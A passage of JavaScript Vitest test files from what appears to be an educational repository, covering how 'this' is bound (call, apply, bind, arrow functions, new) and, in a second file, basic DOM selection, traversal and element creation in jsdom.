developer") expect(introduce.call(bob)).toBe("I'm Bob, a designer") }) }) describe('Partial Application: greet with sayHello/sayGoodbye', () => { it('should create specialized greeting functions', () => { function greet(greeting, name) { return `${greeting}, ${name}!` } const sayHello = greet.bind(null, "Hello") const sayGoodbye = greet.bind(null, "Goodbye") expect(sayHello("Alice")).toBe("Hello, Alice!") expect(sayHello("Bob")).toBe("Hello, Bob!") expect(sayGoodbye("Alice")).toBe("Goodbye, Alice!") }) }) }) describe('The 5 Binding Rules', () => { describe('Rule 1: new Binding', () => { it('should bind this to new object with constructor function', () => { function Person(name) { this.name = name } const alice = new Person('Alice') expect(alice.name).toBe('Alice') }) it('should bind this to new object with ES6 class', () => { class Person { constructor(name) { this.name = name } } const bob = new Person('Bob') expect(bob.name).toBe('Bob') }) it('should create separate instances with their own this', () => { class Counter { constructor() { this.count = 0 } increment() { this.count++ } } const counter1 = new Counter() const counter2 = new Counter() counter1.increment() counter1.increment() counter2.increment() expect(counter1.count).toBe(2) expect(counter2.count).toBe(1) }) it('should allow this to reference instance methods', () => { class Calculator { constructor(value) { this.value = value } add(n) { this.value += n return this } multiply(n) { this.value *= n return this } } const calc = new Calculator(5) calc.add(3).multiply(2) expect(calc.value).toBe(16) }) it('should return the new object unless function returns an object', () => { function ReturnsNothing(name) { this.name = name } function ReturnsObject(name) { this.name = name return { customName: 'Custom' } } function ReturnsPrimitive(name) { this.name = name return 42 // Primitive return is ignored } const obj1 = new ReturnsNothing('Alice') const obj2 = new ReturnsObject('Bob') const obj3 = new ReturnsPrimitive('Charlie') expect(obj1.name).toBe('Alice') expect(obj2.customName).toBe('Custom') expect(obj2.name).toBeUndefined() expect(obj3.name).toBe('Charlie') // Primitive ignored }) it('should set up prototype chain correctly', () => { class Animal { speak() { return 'Some sound' } } class Dog extends Animal { speak() { return 'Woof!' } } const dog = new Dog() expect(dog.speak()).toBe('Woof!') expect(dog instanceof Dog).toBe(true) expect(dog instanceof Animal).toBe(true) }) it('should have new binding override explicit binding', () => { function Person(name) { this.name = name } const boundPerson = Person.bind({ name: 'Bound' }) const alice = new boundPerson('Alice') // new overrides bind expect(alice.name).toBe('Alice') }) }) describe('Rule 2: Explicit Binding (call/apply/bind)', () => { it('should set this with call()', () => { function greet() { return `Hello, ${this.name}` } const alice = { name: 'Alice' } expect(greet.call(alice)).toBe('Hello, Alice') }) it('should set this with apply()', () => { function greet() { return `Hello, ${this.name}` } const bob = { name: 'Bob' } expect(greet.apply(bob)).toBe('Hello, Bob') }) it('should set this with bind()', () => { function greet() { return `Hello, ${this.name}` } const charlie = { name: 'Charlie' } const boundGreet = greet.bind(charlie) expect(boundGreet()).toBe('Hello, Charlie') }) it('should have explicit binding override implicit binding', () => { const alice = { name: 'Alice', greet() { return `Hi, I'm ${this.name}` } } const bob = { name: 'Bob' } // Even though called on alice, we force this to be bob expect(alice.greet.call(bob)).toBe("Hi, I'm Bob") }) it('should handle null/undefined thisArg in strict mode', () => { function getThis() { return this } // In strict mode with null/undefined, this remains null/undefined expect(getThis.call(null)).toBe(null) expect(getThis.call(undefined)).toBe(undefined) }) }) describe('Rule 3: Implicit Binding (Method Call)', () => { it('should bind this to the object before the dot', () => { const user = { name: 'Alice', getName() { return this.name } } expect(user.getName()).toBe('Alice') }) it('should use the immediate object for nested objects', () => { const company = { name: 'TechCorp', department: { name: 'Engineering', getName() { return this.name } } } // this is department, not company expect(company.department.getName()).toBe('Engineering') }) it('should allow method chaining with this', () => { const calculator = { value: 0, add(n) { this.value += n return this }, subtract(n) { this.value -= n return this }, getResult() { return this.value } } const result = calculator.add(10).subtract(3).add(5).getResult() expect(result).toBe(12) }) it('should lose implicit binding when method is extracted', () => { const user = { name: 'Alice', getName() { return this?.name } } const getName = user.getName // Lost binding - this is undefined in strict mode expect(getName()).toBeUndefined() }) it('should lose implicit binding in callbacks', () => { const user = { name: 'Alice', getName() { return this?.name } } function executeCallback(callback) { return callback() } // Passing method as callback loses binding expect(executeCallback(user.getName)).toBeUndefined() }) it('should work with computed property access', () => { const obj = { name: 'Object', method() { return this.name } } const methodName = 'method' expect(obj[methodName]()).toBe('Object') }) }) describe('Rule 4: Default Binding', () => { it('should have undefined this in strict mode for plain function calls', () => { function getThis() { return this } // Vitest runs in strict mode expect(getThis()).toBeUndefined() }) it('should have undefined this in IIFE in strict mode', () => { const result = (function() { return this })() expect(result).toBeUndefined() }) it('should have undefined this in nested function calls', () => { const obj = { name: 'Object', method() { function inner() { return this } return inner() } } // Inner function uses default binding expect(obj.method()).toBeUndefined() }) }) describe('Rule 5: Arrow Functions (Lexical this)', () => { it('should inherit this from enclosing scope', () => { const obj = { name: 'Object', method() { const arrow = () => this.name return arrow() } } expect(obj.method()).toBe('Object') }) it('should not change this with call/apply/bind on arrow functions', () => { const obj = { name: 'Original', getArrow() { return () => this.name } } const arrow = obj.getArrow() const other = { name: 'Other' } // Arrow function ignores explicit binding expect(arrow()).toBe('Original') expect(arrow.call(other)).toBe('Original') expect(arrow.apply(other)).toBe('Original') expect(arrow.bind(other)()).toBe('Original') }) it('should preserve this in callbacks with arrow functions', () => { class Counter { constructor() { this.count = 0 } incrementWithArrow() { [1, 2, 3].forEach(() => { this.count++ }) } } const counter = new Counter() counter.incrementWithArrow() expect(counter.count).toBe(3) }) it('should work with arrow function class fields', () => { class Button { constructor(label) { this.label = label } // Arrow function as class field handleClick = () => { return `Clicked: ${this.label}` } } const btn = new Button('Submit') const handler = btn.handleClick // Extract method // Still works because arrow binds lexically expect(handler()).toBe('Clicked: Submit') }) it('should not have arrow functions work as object methods', () => { const user = { name: 'Alice', // Arrow function as method - BAD! greet: () => { return this?.name } } // this is not user, it's the enclosing scope (undefined in strict mode) expect(user.greet()).toBeUndefined() }) it('should capture this at definition time, not call time', () => { function createArrow() { return () => this } const obj1 = { name: 'obj1' } const obj2 = { name: 'obj2' } // Arrow is created with obj1 as this const arrow = createArrow.call(obj1) // Calling with obj2 doesn't change anything expect(arrow.call(obj2)).toBe(obj1) }) }) describe('Arrow Function Limitations', () => { it('should throw when using arrow function with new', () => { const ArrowClass = () => {} expect(() => { new ArrowClass() }).toThrow(TypeError) }) it('should not have arguments object in arrow functions', () => { // Arrow functions don't have their own arguments // They would reference arguments from enclosing scope const arrowWithRest = (...args) => { return args } expect(arrowWithRest(1, 2, 3)).toEqual([1, 2, 3]) }) it('should demonstrate regular vs arrow in nested context', () => { const obj = { name: "Object", regularMethod: function() { // Nested regular function - loses 'this' function inner() { return this } return inner() }, arrowMethod: function() { // Nested arrow function - keeps 'this' const innerArrow = () => { return this.name } return innerArrow() } } expect(obj.regularMethod()).toBeUndefined() expect(obj.arrowMethod()).toBe("Object") }) }) }) describe('call() Method', () => { it('should invoke function immediately with specified this', () => { function greet() { return `Hello, ${this.name}` } expect(greet.call({ name: 'World' })).toBe('Hello, World') }) it('should pass arguments individually', () => { function introduce(greeting, punctuation) { return `${greeting}, I'm ${this.name}${punctuation}` } const alice = { name: 'Alice' } expect(introduce.call(alice, 'Hi', '!')).toBe("Hi, I'm Alice!") }) it('should allow method borrowing', () => { const arrayLike = { 0: 'a', 1: 'b', 2: 'c', length: 3 } const result = Array.prototype.slice.call(arrayLike) expect(result).toEqual(['a', 'b', 'c']) }) it('should allow borrowing join method', () => { const arrayLike = { 0: 'a', 1: 'b', 2: 'c', length: 3 } const result = Array.prototype.join.call(arrayLike, '-') expect(result).toBe('a-b-c') }) it('should work with prototype methods', () => { const obj = { 0: 1, 1: 2, 2: 3, length: 3 } const sum = Array.prototype.reduce.call(obj, (acc, val) => acc + val, 0) expect(sum).toBe(6) }) it('should allow calling parent class methods', () => { class Animal { speak() { return `${this.name} makes a sound` } } class Dog extends Animal { constructor(name) { super() this.name = name } speak() { const parentSays = Animal.prototype.speak.call(this) return `${parentSays}. Woof!` } } const dog = new Dog('Rex') expect(dog.speak()).toBe('Rex makes a sound. Woof!') }) it('should work with no arguments after thisArg', () => { function getThisName() { return this.name } expect(getThisName.call({ name: 'Test' })).toBe('Test') }) it('should keep primitives as-is in strict mode when passed as thisArg', () => { function getThis() { return this } // In strict mode, primitives are NOT converted to wrapper objects const result = getThis.call(42) expect(result).toBe(42) expect(typeof result).toBe('number') }) }) describe('apply() Method', () => { it('should invoke function immediately with specified this', () => { function greet() { return `Hello, ${this.name}` } expect(greet.apply({ name: 'World' })).toBe('Hello, World') }) it('should pass arguments as an array', () => { function introduce(greeting, punctuation) { return `${greeting}, I'm ${this.name}${punctuation}` } const bob = { name: 'Bob' } expect(introduce.apply(bob, ['Hey', '?'])).toBe("Hey, I'm Bob?") }) it('should work with Math.max', () => { const numbers = [5, 2, 9, 1, 7] const max = Math.max.apply(null, numbers) expect(max).toBe(9) }) it('should work with Math.min', () => { const numbers = [5, 2, 9, 1, 7] const min = Math.min.apply(null, numbers) expect(min).toBe(1) }) it('should work with array-like arguments', () => { function sum() { return Array.prototype.reduce.call(arguments, (acc, n) => acc + n, 0) } const numbers = [1, 2, 3, 4, 5] expect(sum.apply(null, numbers)).toBe(15) }) it('should work with empty array', () => { function returnArgs() { return Array.prototype.slice.call(arguments) } expect(returnArgs.apply(null, [])).toEqual([]) }) it('should work with null/undefined args array', () => { function noArgs() { return 'called' } expect(noArgs.apply(null, null)).toBe('called') expect(noArgs.apply(null, undefined)).toBe('called') }) it('should allow combining arrays with concat-like behavior', () => { const arr1 = [1, 2, 3] const arr2 = [4, 5, 6] Array.prototype.push.apply(arr1, arr2) expect(arr1).toEqual([1, 2, 3, 4, 5, 6]) }) it('should be replaceable by spread operator for Math operations', () => { const numbers = [5, 2, 9, 1, 7] // Old way with apply const maxApply = Math.max.apply(null, numbers) const minApply = Math.min.apply(null, numbers) // Modern way with spread const maxSpread = Math.max(...numbers) const minSpread = Math.min(...numbers) expect(maxApply).toBe(maxSpread) expect(minApply).toBe(minSpread) expect(maxSpread).toBe(9) expect(minSpread).toBe(1) }) }) describe('bind() Method', () => { it('should return a new function', () => { function greet() { return `Hello, ${this.name}` } const alice = { name: 'Alice' } const boundGreet = greet.bind(alice) expect(typeof boundGreet).toBe('function') expect(boundGreet).not.toBe(greet) }) it('should not invoke the function immediately', () => { let called = false function setFlag() { called = true } const bound = setFlag.bind({}) expect(called).toBe(false) bound() expect(called).toBe(true) }) it('should permanently bind this', () => { function getName() { return this.name } const alice = { name: 'Alice' } const bob = { name: 'Bob' } const boundToAlice = getName.bind(alice) expect(boundToAlice()).toBe('Alice') expect(boundToAlice.call(bob)).toBe('Alice') // call ignored expect(boundToAlice.apply(bob)).toBe('Alice') // apply ignored }) it('should not allow rebinding with another bind', () => { function getName() { return this.name } const alice = { name: 'Alice' } const bob = { name: 'Bob' } const boundToAlice = getName.bind(alice) const triedRebind = boundToAlice.bind(bob) expect(triedRebind()).toBe('Alice') // Still Alice! }) it('should support partial application', () => { function multiply(a, b) { return a * b } const double = multiply.bind(null, 2) const triple = multiply.bind(null, 3) expect(double(5)).toBe(10) expect(triple(5)).toBe(15) }) it('should support partial application with multiple arguments', () => { function greet(greeting, punctuation, name) { return `${greeting}, ${name}${punctuation}` } const sayHello = greet.bind(null, 'Hello', '!') expect(sayHello('Alice')).toBe('Hello, Alice!') expect(sayHello('Bob')).toBe('Hello, Bob!') }) it('should work with event handler pattern', () => { class Button { constructor(label) { this.label = label this.handleClick = this.handleClick.bind(this) } handleClick() { return `${this.label} clicked` } } const btn = new Button('Submit') const handler = btn.handleClick expect(handler()).toBe('Submit clicked') }) it('should work with setTimeout pattern', () => { class Delayed { constructor(message) { this.message = message } getMessage() { return this.message } } const delayed = new Delayed('Hello') const boundGetMessage = delayed.getMessage.bind(delayed) // Simulating what setTimeout would do const callback = boundGetMessage expect(callback()).toBe('Hello') }) it('should preserve the length property minus bound args', () => { function fn(a, b, c) { return a + b + c } const bound0 = fn.bind(null) const bound1 = fn.bind(null, 1) const bound2 = fn.bind(null, 1, 2) expect(fn.length).toBe(3) expect(bound0.length).toBe(3) expect(bound1.length).toBe(2) expect(bound2.length).toBe(1) }) it('should work with new even when bound', () => { function Person(name) { this.name = name } const BoundPerson = Person.bind({ name: 'Ignored' }) const alice = new BoundPerson('Alice') // new overrides the bound this expect(alice.name).toBe('Alice') }) }) describe('Common Patterns', () => { describe('Method Borrowing', () => { it('should borrow array methods for array-like objects', () => { const arrayLike = { 0: 'first', 1: 'second', 2: 'third', length: 3 } const mapped = Array.prototype.map.call(arrayLike, item => item.toUpperCase()) expect(mapped).toEqual(['FIRST', 'SECOND', 'THIRD']) }) it('should borrow methods between similar objects', () => { const logger = { prefix: '[LOG]', log(message) { return `${this.prefix} ${message}` } } const errorLogger = { prefix: '[ERROR]' } expect(logger.log.call(errorLogger, 'Something failed')).toBe('[ERROR] Something failed') }) it('should use hasOwnProperty safely', () => { const obj = Object.create(null) // No prototype obj.name = 'test' // obj.hasOwnProperty would fail, but we can borrow it const hasOwn = Object.prototype.hasOwnProperty.call(obj, 'name') expect(hasOwn).toBe(true) }) }) describe('Partial Application', () => { it('should create specialized functions', () => { function log(level, timestamp, message) { return `[${level}] ${timestamp}: ${message}` } const logError = log.bind(null, 'ERROR') const logInfo = log.bind(null, 'INFO') expect(logError('2024-01-15', 'Failed')).toBe('[ERROR] 2024-01-15: Failed') expect(logInfo('2024-01-15', 'Started')).toBe('[INFO] 2024-01-15: Started') }) it('should allow creating multiplier functions', () => { function multiply(a, b) { return a * b } const double = multiply.bind(null, 2) const triple = multiply.bind(null, 3) const quadruple = multiply.bind(null, 4) expect(double(10)).toBe(20) expect(triple(10)).toBe(30) expect(quadruple(10)).toBe(40) }) it('should work with more complex functions', () => { function createUrl(protocol, domain, path) { return `${protocol}://${domain}${path}` } const httpUrl = createUrl.bind(null, 'https') const apiUrl = httpUrl.bind(null, 'api.example.com') expect(apiUrl('/users')).toBe('https://api.example.com/users') expect(apiUrl('/posts')).toBe('https://api.example.com/posts') }) }) describe('Preserving Context in Classes', () => { it('should preserve context with bind in constructor', () => { class Timer { constructor() { this.seconds = 0 this.tick = this.tick.bind(this) } tick() { this.seconds++ return this.seconds } } const timer = new Timer() const tick = timer.tick expect(tick()).toBe(1) expect(tick()).toBe(2) }) it('should preserve context with arrow class fields', () => { class Timer { seconds = 0 tick = () => { this.seconds++ return this.seconds } } const timer = new Timer() const tick = timer.tick expect(tick()).toBe(1) expect(tick()).toBe(2) }) }) }) describe('Gotchas and Edge Cases', () => { describe('Lost Context Scenarios', () => { it('should demonstrate lost context in forEach without arrow', () => { const calculator = { value: 10, addAll(numbers) { const self = this // Old-school workaround numbers.forEach(function(n) { self.value += n }) return this.value } } expect(calculator.addAll([1, 2, 3])).toBe(16) }) it('should fix lost context with arrow function', () => { const calculator = { value: 10, addAll(numbers) { numbers.forEach((n) => { this.value += n }) return this.value } } expect(calculator.addAll([1, 2, 3])).toBe(16) }) it('should fix lost context with thisArg parameter', () => { const calculator = { value: 10, addAll(numbers) { numbers.forEach(function(n) { this.value += n }, this) // Pass this as second argument return this.value } } expect(calculator.addAll([1, 2, 3])).toBe(16) }) }) describe('this in Different Contexts', () => { it('should have correct this in nested methods', () => { const outer = { name: 'Outer', inner: { name: 'Inner', getOuterName() { // Can't access outer.name via this return this.name } } } expect(outer.inner.getOuterName()).toBe('Inner') }) it('should demonstrate closure workaround for nested this', () => { const outer = { name: 'Outer', createInner() { const outerThis = this return { name: 'Inner', getOuterName() { return outerThis.name } } } } const inner = outer.createInner() expect(inner.getOuterName()).toBe('Outer') }) }) describe('Binding Priority', () => { it('should have new override bind', () => { function Foo(value) { this.value = value } const BoundFoo = Foo.bind({ value: 'bound' }) const instance = new BoundFoo('new') expect(instance.value).toBe('new') }) it('should have explicit override implicit', () => { const obj1 = { name: 'obj1', getName() { return this.name } } const obj2 = { name: 'obj2' } expect(obj1.getName()).toBe('obj1') expect(obj1.getName.call(obj2)).toBe('obj2') }) it('should have implicit override default', () => { function getName() { return this?.name } const obj = { name: 'obj', getName } expect(getName()).toBeUndefined() // Default binding expect(obj.getName()).toBe('obj') // Implicit binding }) }) }) describe('Quiz Questions from Documentation', () => { it('Question 1: extracted method loses context', () => { const user = { name: 'Alice', greet() { return `Hi, I'm ${this?.name}` } } const greet = user.greet expect(greet()).toBe("Hi, I'm undefined") }) it('Question 2: arrow function class fields preserve context', () => { class Counter { count = 0 increment = () => { this.count++ } } const counter = new Counter() const inc = counter.increment inc() inc() expect(counter.count).toBe(2) }) it('Question 3: bind cannot be overridden by call', () => { function greet() { return `Hello, ${this.name}!` } const alice = { name: 'Alice' } const bob = { name: 'Bob' } const greetAlice = greet.bind(alice) expect(greetAlice.call(bob)).toBe('Hello, Alice!') }) it('Question 4: nested object uses immediate parent as this', () => { const obj = { name: 'Outer', inner: { name: 'Inner', getName() { return this.name } } } expect(obj.inner.getName()).toBe('Inner') }) it('Question 5: forEach callback loses this context', () => { const calculator = { value: 10, add(numbers) { // This demonstrates the BROKEN behavior let localValue = this.value numbers.forEach(function(n) { // this.value would be undefined here in strict mode // so we can't actually add to it localValue += 0 // simulating the broken behavior }) return this.value // returns original value unchanged } } // The value stays 10 because the callback can't access this.value expect(calculator.add([1, 2, 3])).toBe(10) }) it('Question 5 fixed: forEach with arrow function preserves this', () => { const calculator = { value: 10, add(numbers) { numbers.forEach((n) => { this.value += n // Arrow function preserves this }) return this.value } } expect(calculator.add([1, 2, 3])).toBe(16) }) it('Question 6: bind partial application and length property', () => { function multiply(a, b) { return a * b } const double = multiply.bind(null, 2) expect(double(5)).toBe(10) expect(double.length).toBe(1) // multiply has 2 params, we pre-filled 1 }) }) describe('Additional Documentation Examples', () => { describe('simulateNew function', () => { it('should simulate new keyword behavior', () => { function simulateNew(Constructor, ...args) { // Step 1: Create empty object const newObject = {} // Step 2: Link prototype if it's an object if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') { Object.setPrototypeOf(newObject, Constructor.prototype) } // Step 3: Bind this and execute const result = Constructor.apply(newObject, args) // Step 4: Return object (unless constructor returns a non-primitive) return result !== null && typeof result === 'object' ? result : newObject } function Person(name) { this.name = name } Person.prototype.greet = function() { return `Hi, I'm ${this.name}` } const alice1 = new Person("Alice") const alice2 = simulateNew(Person, "Alice") expect(alice1.name).toBe("Alice") expect(alice2.name).toBe("Alice") expect(alice1.greet()).toBe("Hi, I'm Alice") expect(alice2.greet()).toBe("Hi, I'm Alice") expect(alice2 instanceof Person).toBe(true) }) it('should return custom object if constructor returns one', () => { function simulateNew(Constructor, ...args) { const newObject = {} if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') { Object.setPrototypeOf(newObject, Constructor.prototype) } const result = Constructor.apply(newObject, args) return result !== null && typeof result === 'object' ? result : newObject } function ReturnsObject() { this.name = "ignored" return { custom: "object" } } const obj = simulateNew(ReturnsObject) expect(obj.custom).toBe("object") expect(obj.name).toBeUndefined() }) it('should handle constructor with non-object prototype', () => { function simulateNew(Constructor, ...args) { const newObject = {} if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') { Object.setPrototypeOf(newObject, Constructor.prototype) } const result = Constructor.apply(newObject, args) return result !== null && typeof result === 'object' ? result : newObject } function WeirdConstructor(value) { this.value = value } // Set prototype to a primitive (edge case) WeirdConstructor.prototype = null const obj = simulateNew(WeirdConstructor, 42) expect(obj.value).toBe(42) // When prototype is null, object keeps Object.prototype expect(Object.getPrototypeOf(obj)).toBe(Object.prototype) }) }) describe('apply with args array', () => { it('should work with introduce function and args array', () => { function introduce(greeting, role, company) { return `${greeting}! I'm ${this.name}, ${role} at ${company}.` } const alice = { name: "Alice" } const args = ["Hello", "engineer", "TechCorp"] expect(introduce.apply(alice, args)).toBe("Hello! I'm Alice, engineer at TechCorp.") expect(introduce.call(alice, ...args)).toBe("Hello! I'm Alice, engineer at TechCorp.") }) }) describe('Countdown class pattern', () => { it('should preserve this with bind in setInterval pattern', () => { class Countdown { constructor(start) { this.count = start } tick() { this.count-- return this.count } } const countdown = new Countdown(10) // Simulate what setInterval would do - extract the method const boundTick = countdown.tick.bind(countdown) expect(boundTick()).toBe(9) expect(boundTick()).toBe(8) expect(boundTick()).toBe(7) expect(countdown.count).toBe(7) }) it('should lose this without bind', () => { class Countdown { constructor(start) { this.count = start } tick() { return this?.count } } const countdown = new Countdown(10) const unboundTick = countdown.tick // Without bind, this is undefined expect(unboundTick()).toBeUndefined() }) }) }) }) ================================================ FILE: tests/web-platform/dom/dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, beforeEach } from 'vitest' // ============================================================================= // DOM AND LAYOUT TREES - TEST SUITE // Tests for code examples from docs/concepts/dom.mdx // ============================================================================= describe('DOM and Layout Trees', () => { // Reset document body before each test beforeEach(() => { document.body.innerHTML = '' document.head.innerHTML = '' }) // =========================================================================== // NODE TYPES AND STRUCTURE // =========================================================================== describe('Node Types and Structure', () => { it('should identify element node type', () => { const div = document.createElement('div') expect(div.nodeType).toBe(1) expect(div.nodeType).toBe(Node.ELEMENT_NODE) expect(div.nodeName).toBe('DIV') }) it('should identify text node type', () => { const text = document.createTextNode('Hello') expect(text.nodeType).toBe(3) expect(text.nodeType).toBe(Node.TEXT_NODE) expect(text.nodeName).toBe('#text') }) it('should identify comment node type', () => { const comment = document.createComment('This is a comment') expect(comment.nodeType).toBe(8) expect(comment.nodeType).toBe(Node.COMMENT_NODE) expect(comment.nodeName).toBe('#comment') }) it('should identify document node type', () => { expect(document.nodeType).toBe(9) expect(document.nodeType).toBe(Node.DOCUMENT_NODE) expect(document.nodeName).toBe('#document') }) it('should identify document fragment node type', () => { const fragment = document.createDocumentFragment() expect(fragment.nodeType).toBe(11) expect(fragment.nodeType).toBe(Node.DOCUMENT_FRAGMENT_NODE) expect(fragment.nodeName).toBe('#document-fragment') }) it('should have correct node type constants', () => { expect(Node.ELEMENT_NODE).toBe(1) expect(Node.TEXT_NODE).toBe(3) expect(Node.COMMENT_NODE).toBe(8) expect(Node.DOCUMENT_NODE).toBe(9) expect(Node.DOCUMENT_FRAGMENT_NODE).toBe(11) }) it('should access document properties', () => { expect(document.documentElement.tagName).toBe('HTML') expect(document.head).toBeTruthy() expect(document.body).toBeTruthy() }) it('should be able to set document title', () => { document.title = 'New Title' expect(document.title).toBe('New Title') }) }) // =========================================================================== // SELECTING ELEMENTS // =========================================================================== describe('Selecting Elements', () => { beforeEach(() => { document.body.innerHTML = ` <div id="hero">Welcome!</div> <p class="intro">First</p> <p class="intro">Second</p> <p>Third</p> <nav> <a href="#" class="active">Home</a> <a href="#">About</a> </nav> <input type="text" data-id="123"> ` }) describe('getElementById', () => { it('should select element by id', () => { const hero = document.getElementById('hero') expect(hero).toBeTruthy() expect(hero.textContent).toBe('Welcome!') }) it('should return null for non-existent id', () => { const ghost = document.getElementById('nonexistent') expect(ghost).toBeNull() }) }) describe('getElementsByClassName', () => { it('should select elements by class name', () => { const intros = document.getElementsByClassName('intro') expect(intros.length).toBe(2) expect(intros[0].textContent).toBe('First') }) it('should return empty collection for non-existent class', () => { const ghosts = document.getElementsByClassName('nonexistent') expect(ghosts.length).toBe(0) }) }) describe('getElementsByTagName', () => { it('should select elements by tag name', () => { const allParagraphs = document.getElementsByTagName('p') expect(allParagraphs.length).toBe(3) }) }) describe('querySelector', () => { it('should select first matching element', () => { const firstButton = document.querySelector('a') expect(firstButton.textContent).toBe('Home') }) it('should select by id', () => { const hero = document.querySelector('#hero') expect(hero.textContent).toBe('Welcome!') }) it('should select by class', () => { const firstIntro = document.querySelector('.intro') expect(firstIntro.textContent).toBe('First') }) it('should select by complex selector', () => { const navLink = document.querySelector('nav a.active') expect(navLink.textContent).toBe('Home') }) it('should select by attribute', () => { const dataItem = document.querySelector('[data-id="123"]') expect(dataItem.tagName).toBe('INPUT') }) it('should return null for no match', () => { const ghost = document.querySelector('.nonexistent') expect(ghost).toBeNull() }) }) describe('querySelectorAll', () => { it('should select all matching elements', () => { const allCards = document.querySelectorAll('.intro') expect(allCards.length).toBe(2) }) it('should return empty NodeList for no matches', () => { const ghosts = document.querySelectorAll('.nonexistent') expect(ghosts.length).toBe(0) }) it('should support complex selectors', () => { const links = document.querySelectorAll('nav a') expect(links.length).toBe(2) }) }) describe('Scoped Selection', () => { it('should select within a parent element', () => { const nav = document.querySelector('nav') const navLinks = nav.querySelectorAll('a') expect(navLinks.length).toBe(2) }) it('should find specific child in parent', () => { const nav = document.querySelector('nav') const activeLink = nav.querySelector('.active') expect(activeLink.textContent).toBe('Home') }) }) }) // =========================================================================== // LIVE VS STATIC COLLECTIONS // =========================================================================== describe('Live vs Static Collections', () => { beforeEach(() => { document.body.innerHTML = ` <div class="item">One</div> <div class="item">Two</div> <div class="item">Three</div> ` }) it('should demonstrate live HTMLCollection updates', () => { const liveList = document.getElementsByClassName('item') expect(liveList.length).toBe(3) // Add a new item const newItem = document.createElement('div') newItem.className = 'item' document.body.appendChild(newItem) // Live collection is automatically updated expect(liveList.length).toBe(4) }) it('should demonstrate static NodeList does not update', () => { const staticList = document.querySelectorAll('.item') expect(staticList.length).toBe(3) // Add a new item const newItem = document.createElement('div') newItem.className = 'item' document.body.appendChild(newItem) // Static list is still the old snapshot expect(staticList.length).toBe(3) }) }) // =========================================================================== // DOM TRAVERSAL // =========================================================================== describe('DOM Traversal', () => { beforeEach(() => { document.body.innerHTML = ` <ul id="list"> <li id="first">One</li> <li id="second">Two</li> <li id="third">Three</li> </ul> ` }) describe('Traversing Downwards', () => { it('should get child nodes including text nodes', () => { const ul = document.querySelector('ul') // childNodes includes text nodes from whitespace expect(ul.childNodes.length).toBeGreaterThan(3) }) it('should get only element children', () => { const ul = document.querySelector('ul') expect(ul.children.length).toBe(3) expect(ul.children[0].textContent).toBe('One') }) it('should get first and last element children', () => { const ul = document.querySelector('ul') expect(ul.firstElementChild.textContent).toBe('One') expect(ul.lastElementChild.textContent).toBe('Three') }) it('should demonstrate firstChild vs firstElementChild', () => { const ul = document.querySelector('ul') // firstChild might be a text node (whitespace) const firstChild = ul.firstChild const firstElementChild = ul.firstElementChild // firstElementChild is always an element expect(firstElementChild.tagName).toBe('LI') // firstChild might be text node expect(firstChild.nodeType === Node.TEXT_NODE || firstChild.nodeType === Node.ELEMENT_NODE).toBe(true) }) }) describe('Traversing Upwards', () => { it('should get parent node', () => { const li = document.querySelector('li') expect(li.parentNode.tagName).toBe('UL') }) it('should get parent element', () => { const li = document.querySelector('li') expect(li.parentElement.tagName).toBe('UL') }) it('should find ancestor with closest()', () => { const li = document.querySelector('li') const ul = li.closest('ul') expect(ul.id).toBe('list') }) it('should return element itself if it matches closest()', () => { const li = document.querySelector('li') const self = li.closest('li') expect(self).toBe(li) }) it('should return null if no ancestor matches closest()', () => { const li = document.querySelector('li') const result = li.closest('.nonexistent') expect(result).toBeNull() }) }) describe('Traversing Sideways', () => { it('should get next element sibling', () => { const first = document.querySelector('#first') const second = first.nextElementSibling expect(second.id).toBe('second') }) it('should get previous element sibling', () => { const second = document.querySelector('#second') const first = second.previousElementSibling expect(first.id).toBe('first') }) it('should return null at boundaries', () => { const first = document.querySelector('#first') const third = document.querySelector('#third') expect(first.previousElementSibling).toBeNull() expect(third.nextElementSibling).toBeNull() }) }) describe('Building Ancestor Trail', () => { it('should get all ancestors of an element', () => { document.body.innerHTML = ` <main> <section> <div class="deeply-nested">Content</div> </section> </main> ` function getAncestors(element) { const ancestors = [] let current = element.parentElement while (current && current !== document.body) { ancestors.push(current) current = current.parentElement } return ancestors } const deepElement = document.querySelector('.deeply-nested') const ancestors = getAncestors(deepElement) expect(ancestors.length).toBe(2) expect(ancestors[0].tagName).toBe('SECTION') expect(ancestors[1].tagName).toBe('MAIN') }) }) }) // =========================================================================== // CREATING AND MANIPULATING ELEMENTS // =========================================================================== describe('Creating and Manipulating Elements', () => { describe('Creating Elements', () => { it('should create a new element', () => { const div = document.createElement('div') expect(div.tagName).toBe('DIV') expect(div.parentNode).toBeNull() // Not yet in DOM }) it('should create a text node', () => { const text = document.createTextNode('Hello, world!') expect(text.nodeType).toBe(Node.TEXT_NODE) expect(text.textContent).toBe('Hello, world!') }) it('should create a comment node', () => { const comment = document.createComment('This is a comment') expect(comment.nodeType).toBe(Node.COMMENT_NODE) expect(comment.textContent).toBe('This is a comment') }) }) describe('appendChild', () => { it('should add element as last child', () => { document.body.innerHTML = '<ul><li>Existing</li></ul>' const ul = document.querySelector('ul') const li = document.createElement('li') li.textContent = 'New item' ul.appendChild(li) expect(ul.lastElementChild.textContent).toBe('New item') expect(ul.children.length).toBe(2) }) }) describe('insertBefore', () => { it('should insert element before reference node', () => { document.body.innerHTML = '<ul><li>Existing</li></ul>' const ul = document.querySelector('ul') const existingLi = ul.querySelector('li') const newLi = document.createElement('li') newLi.textContent = 'First!' ul.insertBefore(newLi, existingLi) expect(ul.firstElementChild.textContent).toBe('First!') expect(ul.children.length).toBe(2) }) }) describe('append and prepend', () => { it('should append multiple items including strings', () => { const div = document.createElement('div') const span = document.createElement('span') div.append('Text', span, 'More text') expect(div.childNodes.length).toBe(3) expect(div.textContent).toBe('TextMore text') }) it('should prepend element to start', () => { document.body.innerHTML = '<div>Existing</div>' const div = document.querySelector('div') const strong = document.createElement('strong') strong.textContent = 'New' div.prepend(strong) expect(div.firstElementChild.tagName).toBe('STRONG') }) }) describe('before and after', () => { it('should insert as previous sibling with before()', () => { document.body.innerHTML = '<h1>Title</h1>' const h1 = document.querySelector('h1') const nav = document.createElement('nav') h1.before(nav) expect(h1.previousElementSibling.tagName).toBe('NAV') }) it('should insert as next sibling with after()', () => { document.body.innerHTML = '<h1>Title</h1>' const h1 = document.querySelector('h1') const p = document.createElement('p') h1.after(p) expect(h1.nextElementSibling.tagName).toBe('P') }) }) describe('insertAdjacentHTML', () => { it('should insert at all four positions', () => { document.body.innerHTML = 